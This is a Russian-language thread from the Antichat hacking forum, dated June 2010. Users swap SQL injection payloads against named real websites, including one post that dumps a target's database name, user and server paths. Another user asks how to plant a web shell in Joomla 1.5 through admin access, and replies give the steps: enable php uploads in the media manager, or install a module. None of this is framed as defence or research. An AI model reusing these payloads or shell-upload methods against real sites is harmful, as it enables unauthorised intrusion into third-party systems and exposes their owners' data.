ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
04.06.2010, 11:57
|
|
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
Провел на форуме:
540530
Репутация:
54
|
|
c чего вы взяли что там inject...
|
|
|
04.06.2010, 12:46
|
|
Новичок
Регистрация: 27.05.2010
Сообщений: 13
Провел на форуме:
20441
Репутация:
0
|
|
Сообщение от pinch
c чего вы взяли что там inject...
Я думаю, что что-то не по запросу, которые делают изображение не показали
Верно ли это?
|
|
|
|
04.06.2010, 15:15
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514
Репутация:
3338
|
|
Код:
http://beinoma.com/details.php?prodid=547&cid=if((select+substring(version(),1,1)=5),1,(select+1+union+select+2))
POST=y
@@basedir: /
@@tmpdir: /tmp/
database(): p14tnu81_beipoa
@@datadir: /var/lib/mysql/
version(): 5.0.67-community
@@version_compile_os: redhat-linux-gnu
user(): p14tnu81@localhost
|
|
|
|
04.06.2010, 16:21
|
|
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
Провел на форуме:
540530
Репутация:
54
|
|
молчал бы горе хакер...я утром тебе рекомендовал читать маны..так вот читай и не пости глупости, если ошибки нет это еще не значит что иньекции нет.. http://beinoma.com/details.php?prodid=547&cid=1' Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/p14tnu81/public_html/details.php on line 57 http://beinoma.com/details.php?prodid=547&cid=1+union+select+1,2,3,4, 5--
вы дяденька зря сердитесь на человека.... и вообще вы можете отличать параметр prodid от параметра сid? автор указал именно параметр prodid
|
|
|
|
04.06.2010, 16:42
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
Сообщение от pinch
вы дяденька зря сердитесь на человека.... и вообще вы можете отличать параметр prodid от параметра сid? автор указал именно параметр prodid
никто ни на кого не сердится...солдат ребенка не обидит как говорится.. и причем здесь параметр пропид или сид? разговор шел о скуле..нате вам скулю...а пашкела вам на блюдечке предоставил...
P.S. с отличалкой у меня пока все нормально...
P.S.2 и к чему ваш пост написан совсем непонятно...
|
|
|
|
04.06.2010, 16:54
|
|
Познающий
Регистрация: 29.08.2009
Сообщений: 75
Провел на форуме:
315861
Репутация:
5
|
|
Кстати да. задачи найти скулю на сайте небыло.
Был указан определенный параметр - собственно в нем и искали.
|
|
|
|
04.06.2010, 17:06
|
|
Постоянный
Регистрация: 06.01.2010
Сообщений: 785
Провел на форуме:
1777031
Репутация:
256
|
|
Подскажите или подкиньте ссылку на мануал о том, как залить шелл в joomla! 1.5 имея доступ в админку.
|
|
|
|
04.06.2010, 17:44
|
|
Познающий
Регистрация: 17.04.2010
Сообщений: 75
Провел на форуме:
691279
Репутация:
55
|
|
Сообщение от CyberHunter
Подскажите или подкиньте ссылку на мануал о том, как залить шелл в joomla! 1.5 имея доступ в админку.
Ищешь настройки,дописываешь php в разрешенный формат.Идешь в медиа-менеджер и льешь шелл в нужную тебе папку,насколько я понмню (лил давно как раз в 1.5) шелл будет в папке /images .
|
|
|
|
04.06.2010, 18:20
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
Сообщение от CyberHunter
Подскажите или подкиньте ссылку на мануал о том, как залить шелл в joomla! 1.5 имея доступ в админку.
установить модуль и тупо льешь туда шелл...
либо извращаешся и устанавливаешь джумла ксплорер..а через него уже и шелла не надо..
|
|
|
|
04.06.2010, 19:26
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014
Репутация:
8
|
|
Не могу вывести database(), кто может объяснить в чем дело?
http://www.musicandmeaning.net/issues/showArticle.php?artID=-5.7+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18,19+--+
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид